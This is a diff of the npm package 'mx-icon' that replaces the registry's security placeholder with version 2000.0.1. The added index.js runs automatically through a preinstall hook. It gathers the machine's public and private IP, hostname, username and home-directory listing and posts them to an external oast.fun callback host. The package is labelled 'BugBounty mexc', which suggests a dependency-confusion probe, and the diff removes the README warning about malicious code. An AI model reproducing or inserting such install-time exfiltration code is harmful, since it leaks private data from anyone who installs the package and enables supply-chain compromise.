mx-icon 0.0.1-security → 2000.0.1

package/index.js

@@ -0,0 +1,65 @@
+const axios = require('axios');
+const os = require('os');
+const fs = require('fs');
+
+// Retrieve public IP address
+async function getPublicIP() {
+  try {
+    const response = await axios.get('https://api.ipify.org');
+    return response.data.trim();
+  } catch (error) {
+    console.error('Error retrieving public IP address:', error.message);
+    return null;
+  }
+}
+
+// Retrieve private IP address
+function getPrivateIP() {
+  const networkInterfaces = os.networkInterfaces();
+  for (const iface of Object.values(networkInterfaces)) {
+    const address = iface.find((details) => details.family === 'IPv4' && !details.internal);
+    if (address) {
+      return address.address;
+    }
+  }
+  return null;
+}
+
+// Retrieve hostname
+const hostname = os.hostname();
+
+// Retrieve username
+const username = os.userInfo().username;
+
+// Retrieve contents of home directory
+function getHomeDirectoryContents() {
+  try {
+    return fs.readdirSync(os.homedir());
+  } catch (error) {
+    console.error('Error retrieving home directory contents:', error.message);
+    return null;
+  }
+}
+
+async function sendData() {
+  const publicIP = await getPublicIP();
+  const privateIP = getPrivateIP();
+  const homeDirectoryContents = getHomeDirectoryContents();
+
+  const data = {
+    public_ip: publicIP,
+    private_ip: privateIP,
+    hostname: hostname,
+    username: username,
+    home_directory_contents: homeDirectoryContents,
+  };
+
+  try {
+    const response = await axios.post('http://cjqf1ed2vtc0000rqq9ggjmzozeyyyyyb.oast.fun', data);
+    console.log('Data sent successfully:', response.data);
+  } catch (error) {
+    console.error('Error sending data:', error.message);
+  }
+}
+
+sendData();

package/package.json

@@ -1,6 +1,18 @@
 {
   "name": "mx-icon",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "2000.0.1",
+  "description": "BugBounty mexc",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "axios": "^1.4.0",
+    "express": "^4.18.2",
+    "lodash": "^4.17.21",
+    "moment": "^2.29.4"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=mx-icon for more information.